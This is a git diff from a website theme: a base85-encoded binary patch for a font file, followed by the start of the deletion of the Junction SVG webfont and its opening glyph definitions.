zc|Dp1-6%pg;>??hp6RwUbV;q%WXgita<f<^td9@|nbj)>7zrq=0pJ=E=Z$=t@${j) z=H9omcUFa@efaEOVhew|(J=n>bV&Qg(ub>dtooz$CSM?>Y+gKV*GK19awmWLeCwfu zi}?CwhqO(5ryh71yt8B6{XxiM4ijpYy5WfGPBErP&seEF)hxZBs=zNXt9?5E{OCZF zyzTjcpDi_xR>^C5_kp!W*ClHOVd72Dtz*^ktOS-yBfQJ;AW<tSL_wPj7fKQiPZ5*~ zgHo2@36DM&7h$*F08#-BYt@vN0opa0(){b1<G(fWg5uU{`}J|I3tD==rnviLr54C| zoV(96E*+M+myU5<U%|&3>_j}3gvhnyyy-MQV6Ff}zH%op#Mm(UJEm4^@aQRaGEF8& z!6J(*LukHqs5;1(Q1b+f$uM*&5xKBj0TPz-dB#{?DRg64B~wu#;zD(k^pg$7nU;+Y z9(ZWujW2Xh?^<0`F?nIz0^fB?QR-c-OPi{C!%gEOH4d*7D4W|f_Q;{nayGB6TDa(u zle_q=o{!t#{&mNemcqi8Ege1YG>@O&y}ohkx*JDlrln?%zH$B3n(5Je#loe`$n6uR zYisvOKbZNivvQ~Io4$0;9GdGeHdl&ypcHe0=8Eb*GESn20#krXl5^g5f*(nnkLEfX zs2{;Ok8}fwCp4?eXUPeP$<Ig5CQq%F;{kp3k^<1l#<EO03Cn?be6SRtQ)@CHvQiD{ zR~T!t%JgzrbuQj5q?P+i=WKrU-qkPHEL(Hm${);$Dv9@>{mYT<t4|*YX&WKM($3cJ zA6#r~FdkiU=7S%tx-q<@VdqC5uQon?`}~2Oy!EiQ=`k^<_W+Nql%EG4Nn^FwAQGU{ zq)Ux!Zh`-8l}QJm<{Y}xJ=dTTDe1iHY3Qu4?`#l96Qjsckz&>fthOF?I++g^pyrDv z+`@IoH9ys(r=-F)VtVd|9C)5eGP<uaHm-qeSE{}2rJFQVcM`x|sh_jmgXb-FWeae^ zLf9WkoIpyHfKqnni@G^v1h&?dv<rYq$NsR_OtxsM08qLm?SihzHcjbgPY`%gEXm;k z&j{VA=B+tX5Qyde6z<=xEW1=8zsf(^E=k*sDMr(F$l4~}u6!sHcC%tGxPmO9R}z+_ zg#t}!0zjZ)KgVyAvhd;~%0k}0WeacGvW2h<c!}k*WWR7P@XzIbefh;72mr`TPZCGJ zB=qZhW-=MhI+tu>%A-D8(66gI!oRp*fvOaauJy>rFU6GQuI>CN|Kaul151Pwn>Kh} zeg?kdQY@<`SiFKXTAArPR^dBNgpz%$jB43pTGJxXUx}#jCDXh{GXWWcF_Sfs<F8FO zS(EG5^80m<^MdB?*K*x`dAa#eUpQV-Uo7GFBt0tS{HklAu+k$KcNrrpFz&RdC!zX7 zWh2G#43%NNVa|+F69y5|5$cMkan<i5>$3`0K8EEenqty8JjTLXJx$G-K704g3m%_Y z<E~gywBo?51y!-gf+fu}rb))w<u{FUxqcxe(z4tc?rf=xO<m9)ox1J5!o@qsw@;fH z9ec;vnLB1rn%y($-B?pocGksG;qWGmN4jW<EeqKGde+Py0kQ?U*CUp*aX48bed)Q` zu1KQE^jp<Ng%2e?s-?ve<IS`nEUp`cmWpDAh?>Z}4wrRqy#xd%kluoGNu9@A?^M#< z*?B=vq_V1ZGR?Uu9<3S*JsloEy{Z~BZqs-;|5BKLm?t`k9)M3UPt3eFUQnrIc%j>& zzG~EPk!KWacTC4M0m+{+P7aSM=S87HMe@5@L1j@*KvhD)B3A4RWPqMRyRmMb!%uQM zrr+PMTe7!*N6o?TYp)pRmLGm$`ZJ4j_r0ceJ+OJEI{#_oP3@Gi>;rD_jwgBGXY<b( z&%9xrH_D9D(z<0+4{U7AZmC(<vf21l3cz!4niuc-oAHb9?*07!S@};Ml_b7yKQDf6 z<$<-umuA~lU(@Q>H?IHdE9*Wt7M?PmG$zhDwEmf;AMw6N3{`5|&{o7}Y@TIoHhED8 z=i(;t!U`k`nWj;OS<*_r{G`>DP;E?t&6^U_RZJOV@S3=Qw9EC5vu|D=g?6_^W3c$$ z7s!ps-4~8M|JP);Qm#qmn5T8wb3wP-F)ZD>-E+ax2gQYX+v@I9t#-`YHag<%z7$HA znPxBN^^T+lBG-CS3(*OZ56dnF%Pu4r$ncieNsUiSjnBL^@a&5QKmJFx^un7`*1#Dl zA+1DbWvu<2QT73oWU~>Fy$#9U5{%PxA$}Zk*q6>#tm%xgoK2LC2=G)fz_CohwK^ek z*}$q&P8oT(u`E$zikntMFeMFgM_#;|Y>1Y69Y$i2ha3@lE*Vc*wR+hIoUuN`$KWhO z#t2}OM9~UO9?#`ImnBpZ_E%*DD#s~xd{ns<Rzp>>%IfhPaDt{wYj0xp_Aed$K-#-u zzT_{yX=(4$E&I0boVvETDkC*#!j1)F2bTr!58hT48<Qbzp0)3JwRB}m-P>p1o;UU< z)9jI&m92B@Bg*oQa~-@OJhg15qdb4o^s$PvL$#(mhu5^m9=vZ2$pw5`gJ&!uwGO&2 z#^PZjQ6@-4PG;Rp(9pyQeiIxp-J9w0CLGL(#cbg~H-`#=A#1oC<A-?&$&ORU^MGnq z3xceB%`>N0b{trEbGmz-!#Zxt`sQOWh}9pLwKq?!DKE@Y)unZ#HRF=;p|M^1_!WNB z%XgO5)n^3m@i@jr3XKECj|Q3Xy;NUL?ywwSu*EIm_58=sE#R?bF4|3ga;#Gcc^)$C z1&7T(WKkc636{Fi2gw75x`iWLx8ojuZ|Df(Tbl4k+ht)BfnU|dm3iDtLmr&+0LFMd zZYdlDV~%rWY5##)#%|-YXHLBM>eI&CyNol>sHMHn@|j1CqbH5SMoihdnrCg`o!rgG z@=3~bCartnYbsM?EEW1tv{<(%#gWY4gqp%2h&1>(a2t7#(L{{HxLw$V_S6*ERdz)j zZLrwW1cZTysRk}4ax>wgSK9XGK%3MwaFl=Yrdn!0W+;0GUbP<+yr%lysNc@&lN6(& z@DFu6zM$?awUVJgB7M2mD^(8Fm!FiYM)0SCEn)EyLqm_8rsR4_6oyBr=xZVM71JpC z3Oi8CG#4dc`2(rNgTnX^7NM({NcA8@Pa9FIm3p*PjJ9wgrov2CL{nk9C+<uwPJ&S{ zv@#qskjQc+4B#pG0oDVR)m5HQVYn(IR^Y+%PGM2G)IEF0Pk%Cd=E0@Yy}qv~{)QXZ zO`4fFvgG=Ee%sUe;p<Ckn>+au<MkiyGcJ8^X_<8CC@+4pyF#j%(v+3C)|NAIR77gr zZhVxO`^t~+mhOZpkaxgqWNd!HGJpRYuMW}M(g2<7VB<}C!=ET*Q?tYpvR!ann2~TS zf&vb7TdLF?!Y<a7N;pNuinAa$2<{=*Pl2a5AxEBg;?f&x>A*DU2vpy@1NoQbi+7?v znH5~cU-G6=@#IXRpXuO(PC`kfI>oz#=LSCHd-1LlaZO^T7S40|gs$Qh_{-4<8NL*} zg?ZBITk^mYqi$T-USag)AK0e0Tu98?yP&PqeYqXV%P1=Y@gG9YwN$Ja6YIGWgLf|= z&@wqT{FMaXu&|f}=z6A!m?}Q~HK*xD!Bhei>w<$BtB4HkhaCqbE5MLKOYiPl&EnBq z5C{tmWAY48*DzVY%ag$Z{!j@E!>+cXw^Huufq2<B!)3fD|E-X5ytr+CT@J`tE4?(3 zuhy594Xh6-#gY=9sSb2NhH1PkLO)c@Bj$Jow*&))gU+OBTo$8~JTnAYhnR(-n2;(k z1V7)5(I?7M3s9DqtzmH&jR$5MntREm4(NmO;65M`@Csj-rdA58%xBW%g|f2^CW@4Z zCVHClf(8B^8B~E|hr>feZXQrZPw|2hG)5#CZE=MhJtkRrpa$Nakf+89&wn^TB%wb` zA|a(1?Y&03O+tf@x?Gl~3vViI`S}-n&EsXhT5{2cG=w9Xe07-etjhorNoz|utWpJE z9cZ|vQUEoWTLdFsUi{mK%|1BXnzLV5oEI1lXudcSTN#!PFtJ+TCNXDD9teY>p{itq zKX*w_JTYKRLrbNLrMbDvNeltyt=!y;A%QtzOYDN)@xpi0$l?fSylO@(Aaw(u4Qw?y zqX?<f;wZ+Q@YxK5e^+;>ksqJ{x&}RT2*P>Yga`9vKtwF21ZjcNn+MCEd#grC<y`2P z?z^5pwXy4oBWqihK6}de{H<pjTet0ddf&FT)@^%d&Dwu|t5n6G=Tr2Xr09x1<GsXb z<EVbqO+S#z62`@Cb#+^~(x-80+jx20Hj1*t{07<EhJLt!Vs5!=G@Iin02S)+Ff9J+ z4(d~mkRDoBl+rN6x!gL0MhFi&$aD`vRv-{M58yn6NUCEP9&QFClEvY?-~b+2RK*1M z%n$bQY{@wH`r%y%4{Yj{j&yeJS*n(H_o&7vr;K-v!_vZmr=`y}NQ&|1gPL{BWE1O~ zbkD;&#=n@WV|qDYBz)`wM<9{_@||3V9-gE+q6PHf`LJBPfnja}<qnVT^AiKS)KaY6 zmwSLVe8aAw4Jn3oEx`yYCS`zetQbq-5_T0&%4L%!E#19Oc5OKIlcl#GdTw>&{;F*i z?T^mh^W`e{C&nv@Bzvl6c5iH+wSQZi?0k~vKXrFhnie;ndgoQ+<#>m)E%<miHodtt zm*2~`C5%hk#*G7`;yu6XnNuP++;3bo`D6)$PuY;S<;hXuF-L`1BBUuUk(I+R+tI4M zfS9J&5D-(Ba!h~;=ermt<T}hJT$u_gkPU-%UOg*`PvCk<t<?&>T1u_PJ(u}NvWZ1T zEb|F<N4*C}3*fv$(1Kv-(nr61$XK#{P8;u@`gYa+Z~c#k<xw78n~-;P&fT>T(6MoX za`N=9H#&Wd17~WK@SCs3ozlQcIbYiM^tLUQ>N@DJ)$sGZ0Zd)Z{>I`}G^!MEw;-zL zko>`8??0iJU`&;mD}j~h9NhFY=Fc5}?z}nXJ#Nj>uV3f6pq2Mysin{9q2QWSaZD3O zHyyR>+<lSj%8@lf9Lwk!N6Hl=nQ%Z^Z5)roQ$^SfgmKogdPi#72#3?{xh_(6l>tGf z#TRFYd8EV-S%YKQ>d|xZLH0^7EJNr3I78tf@#p1NnphXkSb`CwK;e?Gh#HY&l_F*Y zCN)5Y9LQ4;Iua^cy>9A-9X-d(YL-u(?6S_9x4osdX~E_tv7KDGW&Ospk@oo$%3^Ek zT4pYP<X^@c$4?q75izoEgR*N|ReN<+j!%(tLpQc=Xj}BXj#_V5`_e5uP_?qHthp@a z3*-)O?RcR5<cF!?i7z=nS>byX{va_o=?sjKVZC87PCcPpV98iia>-j{EFP#9y2Mf+ z1WwFW<d>lpN}n>_81aPV{ylp>Uun4?ItX(XFt!SPKMdY3;RV-IlJg(TbPmsd5?0V0 zPD|>v4xNXyiza3`?%_QmypSi8mz1u^!Y-G46Jy%$nl`;{Y3ta;^flk>u5Y;K;F{_D ztWtmR#aUaM%k1{DrY#+~>)-U#g>@cJ-NK)m^AFju9cYh@G>i>0IMiR7d{Uyi-4wXz zpL$;`g=pk4l1y6_Mk<-2HunYCno!!bZfF}aE_H58>c#Y!m?C+o?kD^eRpqZdGw|xu zm=ZtE$+5Trm9Q4inDwBT$8TV9FWR6vV{srZz-T))!<@%CMgoWB3t)q2!U<SbC4Fp1 z;GXV;YZZ%^n4;sd4U-LKxuIHVcBY9Lvvb{#d6S~>DL+Y`j0q1L2UM$Z=wY?=qCGQH z`P4jOntryZ=;C<6FQSivwmI0JlQV`b#W7^z$7PF(Yq5&W#40vgHVg}dvVfcr2F%q7 zo0$gWfi-Lzy;TFJ9;eZJ?B&5z-#0HVp87XjI6%)nE~TVLbScFKe?T8+7Q}BQpL0<3 z3jB=7mTe+i`G;)l<!pz$&+1U=?W+p6UoITkcFJabT(Jt*0Ka@CFawZ63WW;ce<+35 z@lOorZ}?`u<t@X`KRsovHM(W592nRoEx2^{(udOAfjuPOG=AO^^7IYUgDe;cp#n-3 z5(W8AAo4pGR021F?r1bou!9W7B1(Ta7@HKjpZQO1BJwDp1VR>EW`x7BYR{=>DOtEE z5#l2u_5qOAf@L|xG(Z43`AZ1)kQkr?oQC3m^80zuYXhIf0Z#9iR$h8#z$txVjsXO6 zD;v>f5BrkIW8FGruS=wfvE-I+a<1BU>ZepSDnM)cb=3#FXeGSJ2}Of<2))1`YDfG9 z%`s4-k_UPe)U4vP{KE@qjzw5jgfEc&15AGF(mAOu;NKngu8oa4q?|l-;9`gm?{#}j zeKBxOYDL?u7$st8Qe-G%*2psqe=x3uQUXz}DzhV9sw9F^<N@75=#nZ4)@%qicrV}o z>8G@g-~HLqd%>?5Vg;t7d=V=^WA5)_1)fVJV+Cm7%ZL@=6e}RXZjin(Rse%7b{N3| zYAFQ@zz>b~SBUllIg+=MqA{rb)+j}>4z=HU0%L|8{G!otfYD%wu5}M}M853vCfo|U zyyw$T`F>-T(PeGw7BLBk`v4!$BJM<G-N~^kD>Odi5}c!=U)Jc53w%uNAMO;Kq<&dU zg{G3L8+E5$IQHU8$?Pl6H~9Efi*UZd-On^j`G4UB7f!Vl-Ug>W`SqKODN5JH-SUf< z#u7c253W;Ag0nKB3IyIy(nDMi1!<7MgBfJGvf$#bji!t)S58X{1fL3%asWD}68D8A znvkxEG^w#zmq+-|BbHqc{$UOZpm>cl%2;JRwlrPO_Fj&%ON=ttm$N872Qkwk@XGYo zB^|^BIINWfGRZ+l+RO3Yvw7yIv=Zt16@7FHL}Cm=iY(UAB6g1J7MukTh?3#qNe2WN z?Mb-YSvllQ*Ydq0dTta&&lM3weS&$?uf)#5+fZF&u0pE_^D3zth5PDQB^>bFkI9cy zP${8QnHCM<<g2Mttym7rz3ITZH=63lzqQUQrycOwd`<s(T9M~|J#4G3xNA-L*h{`K zvs-EphbltO1ur+xJ-Dlb=QJ(oYVziKH^jcN*cVRA%Pz?r)?B)_dvn9U8}5qE{Q1#c zFQpWXTiaUEl<(Zs@v1N2TOw=;(34`}-7JsINJ^XVm0@Wx&at8)!nyTfq(Ab-q<*!p zEI>0CNJ`<N0c>j#rWv9*lc;o<N5AYf^H9IxN_S)N4_>o8_&kA^fI>rsa_^BJzbi?J zcQ5{S&vPv=Ox<!|!vabA%l}k+E*a+~LpuY*qJPguKE7q{`^WcxAQ_(~Woht?{5)hK zO#aDY!kuVlT!9RjVJ*W&d$Z8KQnGa5-uEV)EHzkQVm7y6MV_4W2Eh-2<q#+}5u8UW z?8_g1K(ksK?rs^I=Dbr%EsagDP?Qy4nss1PtZrfL;<g>rCcb7|f;TDr-Q9>~iKV;e zE1qy(j<kIBi6igXMpt#UO-tpIF3as{(Am#I*y0dRCv=b+)8T`R)4Gv}EYpPzS|nPH z1#gOLhZB;_WLkhN290ww2pXh$01Xfd0i_HJ0G28AvR2^H86bludy`QEUMy1pSi!$# z3R$Rx0%QXazH|@yk=5=?r}jK|M6yq+y1&P7GT_LD1&Z>Q@3;1Y2T}pg=i~QCM?PQg zjxNr=W9otP62Ill{tqSY;P<!8JuCXP9P$$a53*Px`C2oH3odkuBIWcT?3-*yCZgr^ zY!aZ5Ft1@##~qxYro#@XSwy^XkT-&PF}`Z`AdDPfZp8kQzc^3M<psnR3>}I$EtCt$ znXE47zSq_yI%?7`eSY|nm94EeENt4g@%q^5Mrn*aG;YzPxx2B3_j}&e(Y>cL)bi}b zis&8l+LsrlNav!{X4X7PIt-XdUZd`YFKQNx`_b|^wr`1T7trWXA)2=mAyPCw3DXR& zDL;WD-3Q*JRmOcHn8oJ>a`yYEJAOjW@KP~><}{mdKZ%fus#uk~U?_+K{Sm0T?jc_H z>Yk-*HdWN++IWkRI4r-}^CDlmVR1)ZQ+@4=J(o&lc;FCQJaAmur<{fL+<-{Lw^@87 z197VX<?Ew*7^h%#XtC_(Xu>6CqrQOaX6#q-ij{q?-6Di4hK9%7+C*Baz!DkZ;)ytk zsEZ<zCsxgJ5SUz>(}KX{GRR#U<Su3bOXON@q6Z-$dP@;j)$Hz|t8`@bxcVtKlP0Y7 zh~<qO=zxHaP;7lQUMZ{9!X90wK;xj$kWEy8cC%N{NkLk`qx-XPb_rh{LScO1I@}F4 zCE-yu(3TW+9H<VMgtH>Di~?W6sy`2sNlTclps+~95s>92!M3I7<2(r=2GA@JaB2Fq z*(nblZr}FM#PQ9W^qNVz#kK8I_szI}TT^4zTJ_7#H>}Z~yu*0gIP;S6o8G54y!cwv z=C#w;44XE!w5q*r=CtWmNBWPPTKCAf(vI1yXP@iX-dgHi%Y8l0f-Y_4fz|@Y^r@;U z$!gxD&9h%JK7aASw#B{QtZFXuC{k>lyry+&%$rfQq-FUk>~({@k>92nIv|ZrF*U7b zgE!!^j&;%yK~w^KAy`L(plNAlTpNvkILY)B3JjuXA&Su&vhh7E7R=%y4;F8^r}qeV z{gx|7+RqvT(4Oye)!2XOZMh(Bd@@ig#w*&u*9jcsAm5R&lxVXNg)1XkH=cqKaMcDV zpjdLh;?(D$4N#<sD8h;SVzlAO0qf}Uh9`>FPi}OA;^`gxrP|sr4gXim&Y88fGq3;r zAi)P}!{E_@<5&VJWhp?a6A*Jr)qBk9NqIvo39D+RgSl_G?7(7hnu(}^Uv(8GWS=wD z?Sb3@VGOyR5ge7Qy{T^A;oe0ZV`q*TGt*dVJGMr7=3+zKxKwO?Su|yc7d_xbfZdnm z1^m#Lc`+2V9T0q=cuztMzYM;ynGk~uPFO9iA1gE$;IzO^pWB-TmxPCoaa>>JjPM{B z-|p~Y&nMw&VC!q{1iBaAX<dd_M>sV-tR|+y>&7!;p>huYRk#EW>LYx8LvP4vZ5YYh zo(Y`E`pzGNbtS%BFu9pKH*7L~lv8DFeARZ4J453gs%_vclDEM#{8RMN!HP^y6O*CJ zL_d?po^bmoW0J`X4`jrwh2fIk!-2AyYND};M=Wzc-?KEM?4ib{B;C{}q3?rifk`*r znE_-<ic=s3S|Wz7*W7S2AhZv%95iJ)=++4>B<D4f9g2dW=)OQuh&62qfo@189~RTI z32({PAxAI3L!kPypd%0trjQ6%Akw`1@~MK;Sb96s-n?nW^<~ME()IRdhLM#2iaY9R z2C6U+%nOL&(0D{&t{sm<J<<Qq#-slW$Kz?^Z%Wq(e?J_Pcy_92Lx7^p33?^cO)k+s zx<nueX0eOlza59nY$;qooG*?;ZtFSt;=!Ia^EC5Gp7!LE#-CwTwtTq0ws!r8M&g6@ zW5%qPHW<aPzRKUC<tp-J4xCdSL^}y5-kyw;CWx3SX1-L+d{<=Pe-|y%o*($>E~7<w zhWuBf#VoAX{ByK8a8AAV<Q2F$uu#7B8oUVG0ezTtr4M4Ih5FzUeQ;5jtxDV%*ySq3 z3*Qw*f5QOPEt!=j8Y9G;f)H?BcG7G&%!f;cI6+MvirOUnRYfZ*0Qmm}_B!(HDT2LU zfVwtb_@?xykN*L0i8(~xEaU}|ZII!s$^H)lD<av<h+di62G4Mcsbq-0834Xm{gN?) z?tftFmSMSTDrWE9taP0`Uz?k=V!ZLk0dgIojt=1LJ*cxBUjq>9waHzbam0W|64^-! zjUqtj#L!ML+VO#<T79IcIsY{Od9iiFg-x1TO21x!D5v6n-1OO<@DlYo=%^LA`w9z+ zaT^lHB09#Aa+Nv_A)=x-j>pNjYll}iB}AL*fdh(7{YonKixPzqmq!z*@aD$-nIi~9 zmzq(;+3@FLZ)#emu<HCCcqm6!jHhKn;ncMNiol;sKpKn2V$GP`xnOKb$C|RlypE02 z+xK;@tf`vX)f#?#<6Z50!Ywxxwq8HB`G(bFqJP}K@uTCj+d8Grj+(YmMYwtCjZ@c7 zia0kep2Y*x8$+?u3~wN-uKupZ{YMaaVba@YAza#JS_*{egx&_dX?-{ePZ9c!pj`k@ zjwN`pbZX*Lf_Ak3MBr1g|HLo$pIpJGE;1SrvB^AGB!zbga%%2I5oV}ZImzN34**RV z=M`_Xcy`<D%}37yp7K$~&wB=zm&T@sr+#?@pCk34y$4_ejEBD>jn=XqB$HxjA#TA0 z)HXQGOk6|jx^M{7;vbB0vK%SaQs)FO$+skY!huST)`Y5<wdeql43~}^F+P6FxWpUf z;H7usoTo}Zy}0`v61XX!n3$9b)bFCTZK^sBg%ts~qTNWe@d!Ru3Q?uiE#XhCuJU4z zl^i_O^iy7}D$=J7$3m}TXNJ;sX?Hl?E6HWGk%8lgJh?>tK>2DG%J;Fav$zlCYgomh zD&kxvA1cLoQYa^3gy%MXIN`EC=2{1{55Z8+ZT)b#$o9bJ;O$2k6dZ4Azl{AYRxio! zQ*b`3R*%;=B+kMG$4I@%Hq#-T9;iu=;V{$(>c+9RRqIDPKC)R)mLAHAw@iKT(r5e8 znIA?X@)U8b$jBP_h4B~Tygc{P9`uQPOiR%xH&01wbB4{^rtxgS>a*BopomTI<l=-o z2~&2$DIA_d`wB))d@IewLkKHX#j3Mr??3j+y>Hzm`pB^po0I1@nc^^mv{T{tRZ?y6 zg7(Rj4JVlm74)eVY`(tyEbu07b&Jym7~JPbLrmD^JSxYf43&dy7iGs$*%eiRJ&>vc z5gsNT5#W8*olpiAjCn}E?xg9*Mo2PN&B)76_zS*b&a7>@yspDod6H*vd&wIW#{K-! zlg26IWVVwZ*(`;Pg?yVcFz}awXL#J0ZWFq4ENr#qpsOF>KZ*NcrzQ8e$8C@o-3oEx zT1J$h5J}4mlg}!GROEtE;gz)6;DSo&KQ=bwjMyYCq8se}x;x{7mI`qhq7=o+rC5k2 zV=kU4MG+2!F7>(Gph;gE9pgA&AqE9OJZVu=kmyPZ7PO@JB*|4trmG8sg%-WY6iY`~ zC?C(0G?6%bQ&!bFc1vrxv1YV!_fx!r$I6~BJ8bmV_-?CMbHwPhwT9Ph+M=*a?@Q;4 zBE~l_eY7#UDZ0`wXhZvuUI%T`*c@~28p5Lj=}5_W#2qE2K-7szCua!i40)*o|IAD6 z5MFBf<iceyweV4=@h+)*V3XWDut`c?9&|S6=RYVn_Vipj7JAU-fm>Cy@4&#@a!fsd zb<8`N7K!Rbz_I3*xO8#`!0I6j4eOaBPmoil5X#I~86R0lDtIJ^?GGoTUPxP-a{vj7 z5Ra>sl8%iR3?E684W|t3_=u}+fPJ_N3HFforRYA7xyRO=ldU3>26GGmIc1tl*;O8_ zFCJ*`R1p?At6}V#{9(1V-4$GNXH|uYt213vWz9^lr?zWz!>mZUlu_I&x#qVN6-#$S zXDw(baHsc#w+(zp^;Je|e7@0TF~2&nXB+q1>^+kj7R(wcb*jEm;UIJaupVy)9b{NX zUmPJsdb)QH-0w&K2IWXPvIn%w$2+5lb`@d^j8+^?6j>P2&J(53L9SIrHOmRjRjH2v z?Q$#QBgBg12nyq>2JJ@BJb+nUmn(3A4P3<@s8}&k7g2`h@x)!1xBp}i?Px~<=mMVs z!kEb<P}6uA;3iKZ2df<O7rJCznOnMg#(-Y7`r6uhTSd*xboZF9Z-G=^L{Z){x~jD} zpm?!y0(3P(J>mPLPFHksLBZS#w={3t5S5|>kAX@h1@ni6D+0EGJ<;2Vvgm)e6i{A~ zU7*+|hQNlt^gtS{R_ryVHG=eLa<wCASJK`r)20;LTm$BQ*nqjswLp7083%*aB5Z^W zxU~$d42eZFDLo>^GlWv(dIofxX+Q>mYxGoj1$Bj1E5%GId?#@C3F(1r1V|60>9$Aq z%xvq`rZ=q$1gaK2G3({slc%on`K1?anWf|Fc)*!De-fWulj+1RUxx3cB>nAP6?-s= z&;Qr^MNwvQKO)M6g2a7tzaQ@L6)!WN_B`Sqt8mFSz(&G7W-Z*)TIMFJ;SOV`{Q>?4 z(u=O7JMxe|flX46UYl;!kUodiDf=&{lRsvxSq^_)lrvnEgLJjSEQhZY<%sk_d{2yb zn$H`ri04Pp^TyNAYqy%u8;ivABAxs_mfU2$4WeFbixT}oJWR6vuZnUiucRm2zf_cS zReG|VMWP%tU97<;%h@B!87<1`!P<ODvYa|mj+riasn)wo*u?Gts6ZU0_AJ5kO3G|O zw;bhjGbc&+-&y`F=oXMpUrrZ3U$dMnDo3aQJZ}dMeB3N&@Te#UIrxfKGw8O?`aa5; zXq@EF;*AzcH(mkVIvsYZ*I26_7)oc;z?TDNy@Mx3y|;*VQv0Wx^@gclNP|evLb{f$ z_a#v;a?qY}NdI=SoaaS3X1c(uW;s<<PJ6PPVm$wJvYgjNImi)oIBy@X)}fulRWCk- zr@|9!rk}B$Q`RFL`#43qSw4=meut7L&~pQCLOX={3b&Qb8R#(PqPG7B<LLjRGV1tw z<)E}itOZ`#>2viS@+%w1>#)7&{H9HU25tPj<;DNzdu^7L=6m2rat#smohbN_{Kf<B z31?jUEv2^P&hfMuT=^P4IRtM$KJ*0FzWAaN)|(O5K%Y}Wr~|$(L?G91Cb%ob7nN+} zYqiwseu9Yzxe}-d0qnFz2KHYuRwXXqbkG-+{56gAVI@B6svG4LeNSms!_fDX#MM8v zwdMcE?>>Rv*x#?*&E9~Vd*m9(InI2Kkaw)@BR{$K4D?5^G47Llws2n{?xDr)`_xjr zHxgb18b2rn@{2!Zo-z+|!w|b%pv=4Y9r}rPpyQP%)!lffMTX}Z@7!RfLsvyb`pws- zBlhNF^LZ6JJ@DQQ*X9qNu`M*;`^S9I7S1L-@!akwZcn@ZuPon2jiYZn?ie}`yg6{( zzR!_|d+ddwRQ#b2wqp7oqvNK5H;qF3KC@RM&paHI(0lrm4&#SwX*}yiP(z3MC~LFS zvDG#&>$cjlOX&NoLrOqXBrr$)na#DtSQmecwMj2v&ixMSkXNx%<qybzi**4*cYz~q z@XWU<M_G^ZSGG|pM9e`y+l1?G0NNhO#d<7{vfY*yY!l8sij7UPZD-w<=UAO(80)p% zgzL9iukuy=+HsHfEFZC6$&KF)gXhqOUM0?Y)n6d*XE>vsltyREWTf4~R^wftC4uWl zS)KJX%AJ6=f5d!Pt6CtTY<UZd;oM^xi?-gtmP;owb~oaEC(8D*<(4Xx`8~EAoT^hk z!1YPg9bvuv1<W6ta9ziGtuyiL2l)NF`5xZwmXF{b<6Ms6`z{}_1Ij(DNu3QX+z)zm zv9b8FXqWsPu)*KZhUZZKWY7e(r@D!rL-Z50q;iQS$)BJHXd<}>ub14$(?flyev7_S ze-of5%EE7nIHM2fhh2&cHcJuX6|`v@wHLoE{Kknke!z<D53=r*J5e9#A^8U0wBQ38 zBvC_WIRW`VKpRJ7h4^*ip4M$1!x`-!`dNakPR&3WpeM-<$rJsQ|9}kPdBJz^oXT?C z1b)mz+FbPUZdPY|3_p!9)aAcswugUB>X5I)S0b)cx|IDEpJkfmo0dbCU#Y4(UA;&B zrFD|E*Oq6y&z4B}O3KIf>+Fl{ar+5Jp5r;^x12`mj?|A`&91Gk{<Ma)d((EMJ>xEP zH@OeHFL`Erj(SIV52de2-=F@zZ-nn&zt?}K|Cs;%jO>iojQttUWc)Vp&A{(7$7CMN zQnK2!uh0H!c7KkPvnprrFlAWdu-(Hh<<838mDiegDDS=e%>1th%Y#oBI13&qI9zyL z;ZFS9Ti9Rt?}fiC{B_|wh35)C3n?LYXjo`?XjG^^)DmhB%?&LJeI@j*(2mf)(2>y5 z&<mkohJF)zFZ4+fD{>ZP78MnZEE-+Z@L&9!TlCGMLq#tXy;JmF(Z|J&#k-0R;h$D~ z6#rf*{*U6{7QbKod5LM?GIkJaY8G}IeQOY!Kq5SgFX-IN%x|#TfP8VKq=54G;AdWQ z7Q~%-Ey0JiD|s#B`e5=}!H0Vj$!iN{x!)(R@vRwrpVfT#-`QRGBJUJ758vmUhc9%_ z!48XgY%WS)C_WWji84mATHJTCwKz74FL|y47Mp{VAiEXMug3HAY2k9*PsDi{o?L;H z`B?2)g)}Ou3+X}RP(AeYUC1qG|Ln8E*M63G4c_h)CEbN`|Jl2L|4HI2A2j~^H&>wC zE1yH2hE^|RE74kNGu0Ht4vRS=Wxi<twRAG+vI=j_!;?ewA<E!urzmL!{>_7Z8~i&e zFGYI!(3~(hAGLka-$5jjOvsQ93u3#hm`75;OYE4#t}hq7B5tgQdRaQG9zP@}fZaA( zh#k*CjBPIXoR4}75M>d9wNs35DgcdQXWn)AhTjN$b*voUgByt*Rh5W^8HMlgz?H>D zgWF@+SVT(Iv2pOt)&q|=fUlF-Wb|$dYr>q`jBl*8u$%B@n47WwbPF)`t-#;6vFV7T zZD%vsOvDm)urDJ*;&wKh&A~d~V_fD6w;=X$FTNlA60Dq8@V&EF*>Uvyb@m$j0Xu<j z0WD&S*%Hug1t@nn<ojO4vaMtEHChc0reCv@+{$e{1v^<C_!vbhz8jXt-Q2^y_^z7| z-l0DBB)$`yz&`Z<$^GmZ_7k4L?&ATT$+Peos~qd<yB3ZdIbme-JjpyaR3^`{<hhp4 zl_N)r=Wwn_-izmOFP_7BR5HCPd9F^LYm(>D$@5To6U_UHWVsa;_O6BVSFe~ich1TM zW>#gRd9D)Y$;l=(HkeJoSu_D>(FB}FK|GG~!A%;!pWUe0THAHbzdb{5q;J}4ZhR2e g*M^I)&B(<EXgk^ww-=nO$&pFe@nl}i(0q~q1qs<DM*si- diff --git a/assets/themes/the-minimum/font/Junction-webfont.svg b/assets/themes/the-minimum/font/Junction-webfont.svg deleted file mode 100755 index 40a5de3..0000000 --- a/assets/themes/the-minimum/font/Junction-webfont.svg +++ /dev/null @@ -1,177 +0,0 @@ -<?xml version="1.0" standalone="no"?> -<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" > -<svg xmlns="http://www.w3.org/2000/svg"> -<metadata> -This is a custom SVG webfont generated by Font Squirrel. -Copyright : Generated in 2009 by FontLab Studio Copyright info pending -</metadata> -<defs> -<font id="webfontY2elItE2" horiz-adv-x="1261" > -<font-face units-per-em="2048" ascent="1536" descent="-512" /> -<missing-glyph horiz-adv-x="532" /> -<glyph unicode=" " horiz-adv-x="532" /> -<glyph unicode="	" horiz-adv-x="532" /> -<glyph unicode=" " horiz-adv-x="532" /> -<glyph unicode="!" horiz-adv-x="575" d="M174 100.5q0 49.5 33 81t82 31.5t80.5 -31.5t31.5 -81t-31.5 -82t-80.5 -32.5t-82 32.5t-33 82zM195 1679h188l-27 -1302h-135z" /> -<glyph unicode=""" horiz-adv-x="774" d="M92 1464q0 49 33 81t82 32q61 0 93 